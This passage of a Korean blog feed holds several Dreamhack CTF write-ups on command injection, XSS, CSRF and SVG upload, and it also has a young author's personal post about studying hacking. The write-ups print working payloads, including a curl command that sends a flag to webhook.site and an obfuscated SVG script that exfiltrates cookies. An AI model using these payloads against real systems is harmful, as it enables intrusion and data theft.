    except Exception as e:
        return jsonify({&#39;error&#39;: str(e)}), 500


if __name__ == &#39;__main__&#39;:
    app.run(host=&#39;0.0.0.0&#39;, port=8000, debug=False)</code></pre>
<p><code>cmd = f&quot;ping -c 4 {ip}&quot;
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)</code> 이렇게 커맨드 인젝션 취약점이 발생한다.</p>
<p><code>FILTERED_CHARS = [&#39; &#39;, &#39;;&#39;, &#39;|&#39;, &#39;&amp;&#39;, &#39;&gt;&#39;, &#39;&lt;&#39;, &#39;(&#39;, &#39;)&#39;, &#39;[&#39;, &#39;]&#39;, &#39;{&#39;, &#39;}&#39;, &#39;\n&#39;, &#39;\r&#39;]</code> 하지만 이렇게 블랙리스트 기반 검증을 하고있다.</p>
<p>하지만 벡틱과 탭을 검사를 하고있지 않다.</p>
<h3 id="페이로드">페이로드</h3>
<p>8.8.8.8(벡틱)cat    flag.txt(벡틱)
이 페이로드를 사용했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/a4180971-34eb-45ef-92e6-070adfdca896/image.png" alt=""></p>
<h2 id="후기">후기</h2>
<p><del>비교적 쉬웠음</del></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 Simple Note Manager 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Simple-Note-Manager-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Simple-Note-Manager-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Mon, 17 Aug 2026 06:47:57 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e406ce62-51c7-4915-ab28-357558ee2976/image.png" alt=""></p>
<p>이제는 취약점 유형도 안알려줌 ㅠ</p>
<h2 id="풀이">풀이</h2>
<h3 id="서비스-분석">서비스 분석</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ad5ad9b7-30f3-402a-a4ac-575a1d122df5/image.png" alt=""></p>
<p>이렇게 <code>crud</code>가 구현된 노트 서비스다.</p>
<p>신기하게도 <code>backup</code> 기능이 있다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4b0947e3-35a0-47a6-8c1c-7937649b473c/image.png" alt=""></p>
<p>들어가보니 <code>404</code> 에러가 난다.</p>
<h3 id="소스코드-분석">소스코드 분석</h3>
<pre><code class="language-python">#!/usr/bin/env python3
import subprocess
import threading
import time
from flask import Flask, make_response, redirect, request, abort, render_template, url_for

app = Flask(__name__)

lock = threading.Lock()
new_note_id = 0
notes = {}

def create_note(content):
    global new_note_id
    with lock:
        note_id = new_note_id
        new_note_id += 1
        notes[note_id] = content
        return notes[note_id]

def read_note(note_id):
    with lock:
        return notes[note_id]

def update_note(note_id, content):
    with lock:
        notes[note_id] = content
        return notes[note_id]

def delete_note(note_id):
    with lock:
        del notes[note_id]

def backup_notes(timestamp):
    with lock:
        with open(&#39;./tmp/notes.tmp&#39;, &#39;w&#39;) as f:
            f.write(repr(notes))
        subprocess.Popen(f&#39;cp ./tmp/notes.tmp /tmp/{timestamp}&#39;, shell=True)


@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])
def get_index():
    return render_template(&#39;notes.html&#39;, notes=notes)


@app.route(&#39;/notes&#39;, methods=[&#39;GET&#39;])
def get_notes():
    return render_template(&#39;notes.html&#39;, notes=notes)


@app.route(&#39;/create_note&#39;, methods=[&#39;GET&#39;])
def get_create_note():
    return render_template(&#39;create_note.html&#39;)


@app.route(&#39;/create_note&#39;, methods=[&#39;POST&#39;])
def post_create_note():
    content = request.form.get(&#39;content&#39;)
    if not isinstance(content, str):
        abort(400)
    create_note(content)
    return redirect(url_for(&#39;get_index&#39;))


@app.route(&#39;/update_note&#39;, methods=[&#39;GET&#39;])
def post_update_note():
    if len(notes) == 0:
        abort(404)
    return render_template(&#39;update_note.html&#39;)


@app.route(&#39;/update_note&#39;, methods=[&#39;POST&#39;])
def get_update_note():
    note_id = request.form.get(&#39;note_id&#39;)
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    content = request.form.get(&#39;content&#39;)
    if not isinstance(content, str):
        abort(400)
    update_note(note_id, content)
    return redirect(url_for(&#39;get_index&#39;))


@app.route(&#39;/delete_note&#39;, methods=[&#39;GET&#39;])
def get_delete_note():
    if len(notes) == 0:
        abort(404)
    return render_template(&#39;delete_note.html&#39;)


@app.route(&#39;/delete_note&#39;, methods=[&#39;POST&#39;])
def post_delete_note():
    note_id = request.form.get(&#39;note_id&#39;)
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    delete_note(note_id)
    return redirect(url_for(&#39;get_index&#39;))


@app.route(&#39;/backup_notes&#39;, methods=[&#39;GET&#39;])
def get_backup_notes():
    print(len(notes), flush=True)
    if len(notes) == 0:
        abort(404)
    page = render_template(&#39;backup_notes.html&#39;)
    resp = make_response(page)
    resp.set_cookie(&#39;backup-timestamp&#39;, f&#39;{time.time()}&#39;)
    return resp


@app.route(&#39;/backup_notes&#39;, methods=[&#39;POST&#39;])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get(&#39;backup-timestamp&#39;, f&#39;{time.time()}&#39;)
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for(&#39;get_index&#39;))</code></pre>
<p>겁나게 길다.</p>
<p>한참동안 붙잡고 보니 역시나 의심스러웠던 <code>backup_notes</code>이 부분에서 취약점이 발견되었다.</p>
<pre><code class="language-python">def backup_notes(timestamp):
    with lock:
        with open(&#39;./tmp/notes.tmp&#39;, &#39;w&#39;) as f:
            f.write(repr(notes))
        subprocess.Popen(f&#39;cp ./tmp/notes.tmp /tmp/{timestamp}&#39;, shell=True)

@app.route(&#39;/backup_notes&#39;, methods=[&#39;POST&#39;])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get(&#39;backup-timestamp&#39;, f&#39;{time.time()}&#39;)
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for(&#39;get_index&#39;))</code></pre>
<p>이 부분에서 사용자의 <code>backup-timestamp</code> 쿠키를 검사하지 않고 바로 <code>{timestamp}</code> 부분에 집어넣고 <code>shell=True</code>가 되있다.
따라서 <code>cmd injection</code> 공격이 가능하다.</p>
<h3 id="익스플로잇">익스플로잇</h3>
<p>하지만 노트가 하나 이상 있어야지 <code>backup_notes</code>에 접근이 가능하니 하나를 써줬다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f1174418-385c-46de-a812-3dd3fc58749f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/2e63ae41-5853-45ee-820e-41c8787572be/image.png" alt=""></p>
<p><code>burp suite repeater</code>로 쿠키 부분을
<code>Cookie: backup-timestamp=123456&amp;&amp;curl     https://webhook.site/10631fc9-6a00-4ef3-a413-f9f116457289/?data=$(cat flag)</code> 이렇게 변조해서 보냈다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/6e347a65-f0b9-4ce5-b0e5-3605acd9c2a1/image.png" alt=""></p>
<p><code>webhook.site</code>로 플래그가 왔다.</p>
<h2 id="후기">후기</h2>
<p>맨날 다른사람 풀이 보고 풀다가 오랜만에 내 힘으로 문제를 풀어서 뿌듯했다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 Are you admin? 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Are-you-admin-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-Are-you-admin-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 16 Aug 2026 03:11:57 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4acc08bd-190f-487b-b151-3a2476c7982e/image.png" alt=""></p>
<p><del>뭐라는 거야</del></p>
<h2 id="풀이">풀이</h2>
<h3 id="소스코드-분석">소스코드 분석</h3>
<pre><code class="language-python">@app.route(&quot;/intro&quot;, methods=[&quot;GET&quot;])
def intro():
    name = request.args.get(&quot;name&quot;)
    detail = request.args.get(&quot;detail&quot;)
    return render_template(&quot;intro.html&quot;, name=name, detail=detail)</code></pre>
<p><code>name</code>, <code>detail</code> 피라미터를 그대로 화면에 표시한다.
따라서 <code>xss</code> 공격이  가능하다.</p>
<pre><code class="language-python">@app.route(&quot;/report&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def report():
    if request.method == &quot;POST&quot;:
        path = request.form.get(&quot;path&quot;)
        if not path:
            return render_template(&quot;report.html&quot;, msg=&quot;fail&quot;)

        else:
            parsed_path = urlparse(path)
            params = parse_qs(parsed_path.query)
            name = params.get(&quot;name&quot;, [None])[0]
            detail = params.get(&quot;detail&quot;, [None])[0]

            if access_page(name, detail):
                return render_template(&quot;report.html&quot;, message=&quot;Success&quot;)
            else:
                return render_template(&quot;report.html&quot;, message=&quot;fail&quot;)
    else:
        return render_template(&quot;report.html&quot;)</code></pre>
<p>제출한 <code>path</code>를 <code>admin</code> 봇이 방문한다.</p>
<pre><code class="language-python">@app.route(&quot;/whoami&quot;, methods=[&quot;GET&quot;])
def whoami():
    user_info = &quot;&quot;
    authorization = request.headers.get(&#39;Authorization&#39;)

    if authorization:
        user_info = b64decode(authorization.split(&#39;Basic &#39;)[1].encode()).decode()
    else:
        user_info = &quot;guest:guest&quot;

    id = user_info.split(&quot;:&quot;)[0]
    password = user_info.split(&quot;:&quot;)[1]
    if ((id == &#39;admin&#39;) and (password == &#39;[**REDACTED**]&#39;)):
        message = FLAG
        return render_template(&#39;whoami.html&#39;,id=id, message=message)
    else:
        message = &quot;You are guest&quot;
        return render_template(&#39;whoami.html&#39;,id=id, message=message)</code></pre>
<p><code>Authorization</code> 헤더를 확인하고 <code>id</code>와 <code>password</code>가 일치하면 <code>flag</code>를 리턴한다.</p>
<pre><code class="language-python">def access_page(name, detail):
    try:
        user_info = f&#39;admin:{PASSWORD}&#39;
        encoded_user_info = b64encode(user_info.encode()).decode()
        service = Service(executable_path=&quot;/chromedriver-linux64/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        for _ in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.execute_cdp_cmd(
            &#39;Network.setExtraHTTPHeaders&#39;,
            {&#39;headers&#39;: {&#39;Authorization&#39;: f&#39;Basic {encoded_user_info}&#39;}}
        )

        driver.execute_cdp_cmd(&#39;Network.enable&#39;, {})
        driver.get(f&quot;http://127.0.0.1:8000/&quot;)
        driver.get(f&quot;http://127.0.0.1:8000/intro?name={quote(name)}&amp;detail={quote(detail)}&quot;)
        sleep(1)
    except Exception as e:
        print(e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True</code></pre>
<p>봇이 자동으로 <code>{&#39;headers&#39;: {&#39;Authorization&#39;: f&#39;Basic {encoded_user_info}&#39;}}</code> 이렇게 헤더를 붙여준다.</p>
<h3 id="페이로드">페이로드</h3>
<pre><code class="language-html">/intro?name=&lt;img src=x onerror=&quot;location.href=&#39;https://webhook.site/10631fc9-6a00-4ef3-a413-f9f116457289?test=1&#39;&quot;&gt;&amp;detail=hahaha</code></pre>
<p>페이로드는 이걸 사용했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/da72dfb5-2072-4664-9e90-0fbb9a11fbb8/image.png" alt=""></p>
<p><code>webhook.site</code>에서 <code>admin</code>의 비밀번호를 얻었다.</p>
<h3 id="풀이-1">풀이</h3>
<p><code>admin:1de98e13708c1f1f6023e131a7bd8676</code>를 <code>base64</code> 인코딩하면 <code>YWRtaW46MWRlOThlMTM3MDhjMWYxZjYwMjNlMTMxYTdiZDg2NzY=</code> 이런 값이 나온다.</p>
<p><code>burp suite</code>에서 <code>Authorization: Basic YWRtaW46MWRlOThlMTM3MDhjMWYxZjYwMjNlMTMxYTdiZDg2NzY=</code> 헤더를 추가해주면?</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/708e7856-9578-42c9-80f7-b396d128e30f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/5ab2aa6e-ee3d-462f-98fd-c86046a864ba/image.png" alt=""></p>
<p><code>flag</code>가 나온다.</p>
<h2 id="후기">후기</h2>
<p>개인적으로 제일 어려워서 며칠동안 헤맸던 문제였지만 다른 사람을의 <code>write up</code>을 보고 공부하고 내 풀이를 쓰면서 다시 복습하니깐 원리를 이해하게 되었다. 점점더 성장하고있는 내 자신을 보니 뿌듯하다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 CSRF Advanced 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-CSRF-Advanced-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-CSRF-Advanced-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 14 Aug 2026 14:19:32 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4ece74b8-84ac-468b-bd6e-d587543f96fd/image.png" alt=""></p>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/6e5b78f4-d127-4e28-905b-859a95f30df9/image.png" alt=""></p>
<p>이렇게 로그인을 해란다
솔직히 이쯤돼면 <code>login</code>에서 <code>guest: guest</code>로 로그인 하는거는 국룰이긴 하다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4fe60566-789c-4560-a621-50b9676c9f81/image.png" alt=""></p>
<p>당연하게도  로그인에 성공했다.</p>
<p>이번에는 저번과 다르게 <code>change password</code>라는 탭에 생겼다.
비밀번호를 바꾼다음에 어드민으로 로그인하면 될거같다.</p>
<h3 id="소스코드-보기">소스코드 보기</h3>
<pre><code class="language-python">@app.route(&quot;/&quot;)
def index():
    session_id = request.cookies.get(&#39;sessionid&#39;, None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template(&#39;index.html&#39;, text=&#39;please login&#39;)

    return render_template(&#39;index.html&#39;, text=f&#39;Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not an admin&quot;}&#39;)</code></pre>
<p><code>admin</code> 계정으로 로그인하면 플래그가 나오는거같다.</p>
<pre><code class="language-python">@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param</code></pre>
<p><code>xss</code>가 막혀있다. <code>.lower()</code> 함수도 사용돼서 <code>ScRiPt</code>이런 우회는 안통할거다.</p>
<p>그래도 <code>img</code> 태그에 대한 필터는 없으니 <code>img</code> 태그로 <code>csrf</code>를 시도해 보아야 한다.</p>
<pre><code class="language-python">@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def login():
    if request.method == &#39;GET&#39;:
        return render_template(&#39;login.html&#39;)
    elif request.method == &#39;POST&#39;:
        username = request.form.get(&#39;username&#39;)
        password = request.form.get(&#39;password&#39;)
        try:
            pw = users[username]
        except:
            return &#39;&lt;script&gt;alert(&quot;user not found&quot;);history.go(-1);&lt;/script&gt;&#39;
        if pw == password:
            resp = make_response(redirect(url_for(&#39;index&#39;)) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie(&#39;sessionid&#39;, session_id)
            return resp 
        return &#39;&lt;script&gt;alert(&quot;wrong password&quot;);history.go(-1);&lt;/script&gt;&#39;@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])</code></pre>
<p>로그인을 할때 <code>username + ip</code>로 토큰을 발급하는거 같다.</p>
<pre><code class="language-python">@app.route(&quot;/change_password&quot;)
def change_password():
    session_id = request.cookies.get(&#39;sessionid&#39;, None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template(&#39;index.html&#39;, text=&#39;please login&#39;)
    pw = request.args.get(&quot;pw&quot;, None)
    if pw == None:
        return render_template(&#39;change_password.html&#39;, csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get(&quot;csrftoken&quot;, &quot;&quot;):
            return &#39;&lt;script&gt;alert(&quot;wrong csrf token&quot;);history.go(-1);&lt;/script&gt;&#39;
        users[username] = pw
        return &#39;&lt;script&gt;alert(&quot;Done&quot;);history.go(-1);&lt;/script&gt;&#39;</code></pre>
<p>피라미터로 설정할 비번, 토큰 같이 보내면 될거같다.</p>
<h2 id="풀이-1">풀이</h2>
<p>토큰이 그냥 <code>username + ip</code>를 <code>md5</code> 인코딩한것이므로 파이썬 스크립트로 <code>admin + 127.0.0.1</code>로 <code>md5</code> 인코딩을 해서 <code>csrftoken</code>을 얻었다.</p>
<pre><code class="language-python">from hashlib import md5

token = md5((&quot;admin&quot; + &quot;127.0.0.1&quot;).encode()).hexdigest()
print(token)</code></pre>
<p>토큰은 <code>7505b9c72ab4aa94b1a4ed7b207b67fb</code>가 나왔다.</p>
<h3 id="페이로드">페이로드</h3>
<p>페이로드로는 <code>&lt;/img src=&quot;/change_password?pw=1234&amp;csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb&quot;&gt;</code>를 사용했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/30f7535c-bcd0-44c0-819a-faebbd4f02a9/image.png" alt=""></p>
<p>오잉 왜 안돼지?
알고보니 앞에붙은 슬래시 때문이었다.
정상적인 페이로드는</p>
<pre><code class="language-html">&lt;img src=&quot;/change_password?pw=1234&amp;csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb&quot;&gt;</code></pre>
<p>이것이다.</p>
<h2 id="플래그">플래그</h2>
<p>이렇게 <code>admin</code> 계정의 비밀번호를 <code>1234</code>로 리셋하고 다시 로그인을 해주면?</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b165acbf-70da-4895-9384-42513956c447/image.png" alt=""></p>
<p>플래그가 나온다.</p>
<h2 id="후기">후기</h2>
<p>처음 풀때는 어떻게 해야할지 몰라서 다른 <code>write-up</code>을 보면서 문제를 풀어나갔지만 또 벨로그에 정리하는 습관을 들이니까 정리하면서 다시 풀어보게 되고 그게 또 복습이 되는거같다 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 PTML 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-PTML-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-PTML-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 14 Aug 2026 03:43:11 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/be224761-45d6-403b-9ea0-de836b636243/image.png" alt=""></p>
<p>딱 봐도 <code>file-upload</code> 취약점이 있을거같다.</p>
<h2 id="코드분석">코드분석</h2>
<pre><code class="language-python">@app.route(&#39;/upload&#39;, methods=[&#39;POST&#39;])
def upload_file():
    if &#39;file&#39; not in request.files:
        return redirect(request.url)
    file = request.files[&#39;file&#39;]
    if file.filename == &#39;&#39;:
        return redirect(request.url)
    if file:
        filename = secure_filename(file.filename)
        unique_id = uuid.uuid4().hex
        unique_filename = f&quot;{unique_id}_{filename}&quot;
        file_path = os.path.join(app.config[&#39;UPLOAD_FOLDER&#39;], unique_filename)
        file.save(file_path)
        read_file(unique_filename)
        return redirect(url_for(&#39;index&#39;, file=f&#39;uploads/{unique_filename}&#39;))
    return &#39;&#39;, 204</code></pre>
<p>딱 봐도 매우 취약해 보인다.</p>
<pre><code class="language-python">def read_file(filename):
    driver = None
    cookie = {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG}
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        service = Service(executable_path=&quot;/usr/local/bin/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        for arg in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(f&quot;http://127.0.0.1:8000/?file=uploads/{filename}&quot;)

        WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, &quot;svg&quot;)))

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True</code></pre>
<p>이렇게 셀레니움으로 봇이 구현되어 있으니 <code>svg</code> 파일에 <code>js</code>를 집어넣어서 <code>xss</code>공격으로 <code>webhook.site</code>에 보내면 될거같다.</p>
<h2 id="풀이">풀이</h2>
<p><code>vscode</code>를 열어서 <code>1.svg</code> 파일을 생성한 다음 페이로드를 입력해준다.</p>
<p>페이로드로는 이걸 사용했다.</p>
<pre><code class="language-svg">&lt;svg width=&quot;704&quot; height=&quot;161&quot; viewBox=&quot;0 0 704 161&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
&lt;animate attributeName=&quot;x&quot; dur=&quot;0s&quot; onbegin=&quot;eval(atob(&#39;bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvNWEyMWY0MjgtNTFiMi00NDNiLTgwZWMtZTRhOGM5MWQzNzk0P2ZsYWc9Ii5jb25jYXQoZG9jdW1lbnQuY29va2llKQ==&#39;))&quot;/&gt;
&lt;/svg&gt;</code></pre>
<p><code>eval</code> 함수 안에 <code>base64</code>로 인코딩 되어있는 것은</p>
<pre><code class="language-js">location.href=&quot;https://webhook.site/5a21f428-51b2-443b-80ec-e4a8c91d3794?flag=&quot;.concat(document.cookie)</code></pre>
<p>이 코드 이다.</p>
<h3 id="flag">flag</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/9ac07ffc-aea6-49b7-8861-81d201398a6b/image.png" alt=""></p>
<h2 id="후기">후기</h2>
<p>이제 브론즈 1 정도 올라오니까 여러 취약점을 꼬아서 나오는 문제가 나오기 시작했다.
그래도 기초를 잘 다져 놓으니까 아직까지는 할만한거 같다 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[디미고]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%94%94%EB%AF%B8%EA%B3%A0</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%94%94%EB%AF%B8%EA%B3%A0</guid>
            <pubDate>Thu, 13 Aug 2026 13:13:04 GMT</pubDate>
            <description><![CDATA[<h2 id="디미고에-대해">디미고에 대해…</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/80995f8d-de01-4c08-a45f-65ad77cb6cab/image.png" alt=""></p>
<p>나는 중 1이다.
나는 초 4부터 코딩을 아빠에 의해 접해서 웹개발(?) 을 하다가 지금은 놀고 자빠져있다. 뭐 코딩을 접하고 나서부터 꿈은 항상 개발쪽이었지만 미쳐 고등학교를 생각을 못했다. 평소처럼 프로결제한 제미나이를 가지고 놀다가 고등학교를 추천해 달라고 했다. 추천해준 고등학교는 바로 디미고 였다.</p>
<h2 id="부모님">부모님</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/8cf6cf9e-4d88-4f70-8f3a-fb5ee0476d08/image.jpeg" alt=""></p>
<p>그래서 바로 좋아라 했던 나는 바로 부모님께 가서 디미고에 가고싶다고 말했다.
당연히 부모님은 안된다고 말씀하셨다. <del>왜지?</del>
왜냐면 당시에 특성화고는 공부못하고 할거 없는 애들만 간다는 오해가 있었기 때문이었다. 하지만 디미고는 예외다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f79eddd9-6cd0-4711-8c49-921c17e9cfd5/image.jpeg" alt=""></p>
<p>그래서, 내가 이런말 할만큼 코딩 실력이 좋냐고?
<del>겠냐?</del> 절대 아니다.</p>
<p>아아아ㅏ 코딩을 처음 배웠을때의 그 나는 어디가고 왜 이런 폐인같은 바이브코더가 내 앞에 있는걸까…</p>
<h2 id="해킹방어">해킹방어</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/5564193c-ee6c-4d8c-b853-3a50f3f76066/image.jpeg" alt=""></p>
<p>그러던중, 나는 해킹에 관심이 생겼다.
정확히는 웹해킹이었는데, 구글 그뤼에르인가? 대충 그런 사이트에서 처음 공격을 시도해봤다.</p>
<p>결과는….
정말 재밌었다! 그저 내가 한거라고는 프로필 페이지에서 대놓고 있는 피라미터를 고치기만 했을 뿐인데, 어드민 권한을 얻을 수 있다는게 신기하고 재밌었다. (실제로는 안먹힌다…)</p>
<p>음… 이렇게 재미를 느껴놓고 정작 드림핵같은 사이트에서 정식으로 해킹을 배우는데는 시간이 오래 걸렸다.
왜냐고? 
현타가 왔다. 갑자기? 라고 할 수도 있겠지만 뭔가 내가 하고있는게 올바른건지, 이렇게 너무 ai에 의존해도 돼는건지, 과연 디미고에 합격할 수나 있을지 일반고는 가려나? 성적은 어떨까?
이런 질문들이 나를 한순간에 덮쳤다.</p>
<h3 id="다시시작">다시…시작</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/5193e9cb-8545-48f4-a5ab-80ec3dd2edfd/image.jpeg" alt=""></p>
<p>그래서 나는 한동안 개발을 잠시 접었었다.
그래도 ai에게 의존해도, 힘들어도, 눈이 아파도 개발을 하는게 재밌었는지 나는 다시 노트북 앞에 앉아 있었다.</p>
<p>그래도 코딩을 안한 시간동안 생각한게 조금은 있었는지 엄마에게 드림핵 가입을 도와달라고 했다. 엄마는 미심쩍어했다 <del>원래그런 사람이다.</del></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/1de44852-9e27-4906-9305-2819ce96e287/image.jpg" alt=""></p>
<p>앞에서 저런말 하다가 뜬금없지만,</p>
<p>그래서 나의 해킹 공부는 시작이 됐다.
뭐, 이제 배운지 얼마 안됐지만 그래도 내 목표인 디미고 해킹방어과를 향해 열심히 달려갈 예정이다.</p>
<p>13살이 건방지게 이런글 써서 죄송합니다.
긴글 읽어주셔서 감사합니다 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 DreamDocs 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-DreamDocs-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-DreamDocs-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Wed, 22 Jul 2026 00:05:05 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p>문제 설명
Description
Introducing DreamDocs: a platform for browsing docs!</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/7fe6f7eb-58df-4122-b998-8daba3b7e2d2/image.png" alt=""></p>
<p>이렇게 문서를 열람할 수 있는 서비스다.</p>
<hr>
<h2 id="소스코드-보기">소스코드 보기</h2>
<pre><code class="language-python">flag_doc_id = random.randint(100, 999)</code></pre>
<p>이 부분을 보면 <code>flag</code>가 들어있는 문서는 100부터 999까지의 무작위 문서 이다.</p>
<pre><code class="language-python">@app.route(&#39;/doc/&lt;int:doc_id&gt;&#39;)
def view_document(doc_id):
    referer = request.headers.get(&#39;Referer&#39;, &#39;&#39;)
    user_level = request.headers.get(&#39;X-User&#39;, &#39;guest&#39;)

    if doc_id &lt; 0 or doc_id &gt;= 1000:
        abort(404)

    if doc_id not in documents:
        abort(404)

    document = documents[doc_id]

    if &#39;/share&#39; not in referer:
        return render_template(&#39;error.html&#39;, 
            message=&quot;Access denied. Documents can only be accessed from the share page.&quot;), 403

    if document[&#39;classification&#39;] == &#39;confidential&#39;:
        if user_level != &#39;admin&#39;:
            return render_template(&#39;error.html&#39;, 
                message=&quot;Insufficient privileges. Administrator access required.&quot;), 403

    elif document[&#39;classification&#39;] == &#39;internal&#39;:
        if user_level == &#39;guest&#39;:
            return render_template(&#39;error.html&#39;, 
                message=&quot;Internal documents require user authentication.&quot;), 401

    return render_template(&#39;document.html&#39;, doc=document, doc_id=doc_id)</code></pre>
<p>이걸 보면 <code>confidential</code> 등급의 문서는 <code>admin</code>인 유저만 열람할 수 있는걸 알 수 있다.</p>
<pre><code class="language-python">@app.route(&#39;/api/docs&#39;)
def list_docs():
    SHOW_COUNT = 15
    user_level = request.headers.get(&#39;X-User&#39;, &#39;guest&#39;)
    visible_docs = []

    for doc_id, doc in documents.items():
